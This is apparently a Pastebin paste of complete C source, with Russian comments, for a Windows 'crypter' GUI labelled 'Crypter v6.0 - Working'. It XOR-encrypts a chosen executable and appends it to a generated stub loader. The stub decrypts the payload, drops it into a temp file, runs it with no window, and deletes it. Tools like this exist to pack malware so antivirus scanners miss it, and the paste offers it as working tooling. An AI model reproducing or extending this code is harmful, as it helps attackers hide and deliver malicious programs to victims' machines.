Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- // cryptor_final_working.c
- // Компиляция: gcc -m32 -o cryptor.exe cryptor_final_working.c -lgdi32 -lcomctl32 -luser32 -mwindows
- #include <windows.h>
- #include <commctrl.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <time.h>
- #include <direct.h>
- // -------------------------------------------------------------
- // Генерация stub.c (загрузчик) — расшифровка + временный файл + запуск
- // -------------------------------------------------------------
- int compile_stub(const char* stub_c_path, const char* stub_exe_path, unsigned char xor_key) {
- char cmd[1024];
- FILE* f = fopen(stub_c_path, "w");
- if (!f) return 0;
- fprintf(f,
- "#include <windows.h>\n"
- "#include <stdio.h>\n"
- "#define XOR_KEY 0x%02X\n"
- "#define MAGIC \"CRYP\"\n"
- "\n"
- "int WINAPI WinMain(HINSTANCE h, HINSTANCE p, LPSTR c, int s) {\n"
- " char mypath[MAX_PATH];\n"
- " GetModuleFileNameA(NULL, mypath, MAX_PATH);\n"
- " HANDLE f = CreateFileA(mypath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);\n"
- " if (f == INVALID_HANDLE_VALUE) return 1;\n"
- " DWORD size = GetFileSize(f, NULL);\n"
- " if (size < 8) { CloseHandle(f); return 2; }\n"
- " DWORD payload_size;\n"
- " char magic[5] = {0};\n"
- " DWORD read;\n"
- " SetFilePointer(f, -8, NULL, FILE_END);\n"
- " ReadFile(f, &payload_size, 4, &read, NULL);\n"
- " ReadFile(f, magic, 4, &read, NULL);\n"
- " if (memcmp(magic, MAGIC, 4) != 0) { CloseHandle(f); return 3; }\n"
- " if (payload_size == 0 || payload_size > 200*1024*1024) { CloseHandle(f); return 4; }\n"
- " SetFilePointer(f, -(payload_size + 8), NULL, FILE_END);\n"
- " unsigned char* enc = (unsigned char*)VirtualAlloc(NULL, payload_size, MEM_COMMIT, PAGE_READWRITE);\n"
- " if (!enc) { CloseHandle(f); return 5; }\n"
- " ReadFile(f, enc, payload_size, &read, NULL);\n"
- " CloseHandle(f);\n"
- " unsigned char* dec = (unsigned char*)VirtualAlloc(NULL, payload_size, MEM_COMMIT, PAGE_READWRITE);\n"
- " if (!dec) { VirtualFree(enc, 0, MEM_RELEASE); return 6; }\n"
- " for (DWORD i = 0; i < payload_size; i++) dec[i] = enc[i] ^ XOR_KEY;\n"
- " VirtualFree(enc, 0, MEM_RELEASE);\n"
- " char temp[MAX_PATH];\n"
- " GetTempPathA(MAX_PATH, temp);\n"
- " GetTempFileNameA(temp, \"tmp\", 0, temp);\n"
- " HANDLE out = CreateFileA(temp, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);\n"
- " if (out == INVALID_HANDLE_VALUE) { VirtualFree(dec, 0, MEM_RELEASE); return 7; }\n"
- " DWORD written;\n"
- " WriteFile(out, dec, payload_size, &written, NULL);\n"
- " CloseHandle(out);\n"
- " VirtualFree(dec, 0, MEM_RELEASE);\n"
- " STARTUPINFOA si = {sizeof(si)};\n"
- " PROCESS_INFORMATION pi;\n"
- " if (!CreateProcessA(temp, NULL, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) {\n"
- " DeleteFileA(temp);\n"
- " return 8;\n"
- " }\n"
- " WaitForSingleObject(pi.hProcess, INFINITE);\n"
- " CloseHandle(pi.hProcess);\n"
- " CloseHandle(pi.hThread);\n"
- " DeleteFileA(temp);\n"
- " return 0;\n"
- "}\n", xor_key);
- fclose(f);
- sprintf(cmd, "gcc -m32 -o \"%s\" \"%s\" -mwindows -luser32 -lkernel32", stub_exe_path, stub_c_path);
- int ret = system(cmd);
- return (ret == 0);
- }
- // -------------------------------------------------------------
- // Основная функция криптора
- // -------------------------------------------------------------
- void crypt_file(const char* input_path, const char* output_path) {
- FILE* f = fopen(input_path, "rb");
- if (!f) { MessageBoxA(NULL, "Не удалось открыть входной файл", "Ошибка", MB_ICONERROR); return; }
- fseek(f, 0, SEEK_END);
- long pe_size = ftell(f);
- rewind(f);
- unsigned char* pe_data = (unsigned char*)malloc(pe_size);
- fread(pe_data, 1, pe_size, f);
- fclose(f);
- srand((unsigned int)time(NULL));
- unsigned char xor_key = (unsigned char)(rand() % 256);
- for (long i = 0; i < pe_size; i++) pe_data[i] ^= xor_key;
- char stub_c[] = "stub_temp.c";
- char stub_exe[] = "stub_temp.exe";
- if (!compile_stub(stub_c, stub_exe, xor_key)) {
- MessageBoxA(NULL, "Ошибка компиляции stub. Убедитесь, что gcc в PATH", "Ошибка", MB_ICONERROR);
- free(pe_data);
- return;
- }
- f = fopen(stub_exe, "rb");
- if (!f) { MessageBoxA(NULL, "Не удалось прочитать stub", "Ошибка", MB_ICONERROR); free(pe_data); return; }
- fseek(f, 0, SEEK_END);
- long stub_size = ftell(f);
- rewind(f);
- unsigned char* stub_data = (unsigned char*)malloc(stub_size);
- fread(stub_data, 1, stub_size, f);
- fclose(f);
- FILE* out = fopen(output_path, "wb");
- if (!out) {
- MessageBoxA(NULL, "Не удалось создать выходной файл", "Ошибка", MB_ICONERROR);
- free(pe_data); free(stub_data);
- return;
- }
- fwrite(stub_data, 1, stub_size, out);
- fwrite(pe_data, 1, pe_size, out);
- fwrite(&pe_size, 4, 1, out);
- fwrite("CRYP", 1, 4, out);
- fclose(out);
- remove(stub_c);
- remove(stub_exe);
- free(pe_data);
- free(stub_data);
- MessageBoxA(NULL, "Криптование успешно!\n_crypted.exe создан и будет работать без ошибок.", "Успех", MB_OK);
- }
- // -------------------------------------------------------------
- // GUI (без изменений)
- // -------------------------------------------------------------
- HWND hStaticFile, hButtonCrypt;
- char selectedFilePath[MAX_PATH] = {0};
- void select_file(HWND hwnd) {
- OPENFILENAMEA ofn = {0};
- char file[MAX_PATH] = {0};
- ofn.lStructSize = sizeof(ofn);
- ofn.hwndOwner = hwnd;
- ofn.lpstrFilter = "Executable\0*.exe\0";
- ofn.lpstrFile = file;
- ofn.nMaxFile = MAX_PATH;
- ofn.Flags = OFN_FILEMUSTEXIST;
- if (GetOpenFileNameA(&ofn)) {
- strcpy(selectedFilePath, file);
- SetWindowTextA(hStaticFile, file);
- EnableWindow(hButtonCrypt, TRUE);
- }
- }
- void do_crypt(HWND hwnd) {
- if (strlen(selectedFilePath) == 0) return;
- char out[MAX_PATH];
- strcpy(out, selectedFilePath);
- char* dot = strrchr(out, '.');
- if (dot) *dot = 0;
- strcat(out, "_crypted.exe");
- crypt_file(selectedFilePath, out);
- }
- LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wp, LPARAM lp) {
- switch (msg) {
- case WM_COMMAND:
- if (LOWORD(wp) == 1) select_file(hwnd);
- if (LOWORD(wp) == 2) do_crypt(hwnd);
- break;
- case WM_DESTROY:
- PostQuitMessage(0);
- break;
- default: return DefWindowProcA(hwnd, msg, wp, lp);
- }
- return 0;
- }
- int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrev, LPSTR lpCmd, int nShow) {
- INITCOMMONCONTROLSEX icc = {sizeof(icc), ICC_WIN95_CLASSES};
- InitCommonControlsEx(&icc);
- WNDCLASSEXA wc = {0};
- wc.cbSize = sizeof(WNDCLASSEXA);
- wc.lpfnWndProc = WndProc;
- wc.hInstance = hInst;
- wc.hCursor = LoadCursor(NULL, IDC_ARROW);
- wc.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1);
- wc.lpszClassName = "CrypterClass";
- RegisterClassExA(&wc);
- HWND hwnd = CreateWindowExA(0, "CrypterClass", "Crypter v6.0 - Working (temp file)",
- WS_OVERLAPPEDWINDOW & ~WS_MAXIMIZEBOX, 100, 100, 420, 150,
- NULL, NULL, hInst, NULL);
- if (!hwnd) return 0;
- CreateWindowExA(0, "BUTTON", "Select EXE", WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON,
- 20, 20, 100, 30, hwnd, (HMENU)1, hInst, NULL);
- hStaticFile = CreateWindowExA(0, "STATIC", "No file", WS_CHILD | WS_VISIBLE | SS_LEFT,
- 130, 25, 250, 20, hwnd, NULL, hInst, NULL);
- hButtonCrypt = CreateWindowExA(0, "BUTTON", "Criptar", WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON,
- 20, 70, 100, 30, hwnd, (HMENU)2, hInst, NULL);
- EnableWindow(hButtonCrypt, FALSE);
- ShowWindow(hwnd, nShow);
- UpdateWindow(hwnd);
- MSG msg;
- while (GetMessage(&msg, NULL, 0, 0)) {
- TranslateMessage(&msg);
- DispatchMessage(&msg);
- }
- return msg.wParam;
- }
Advertisement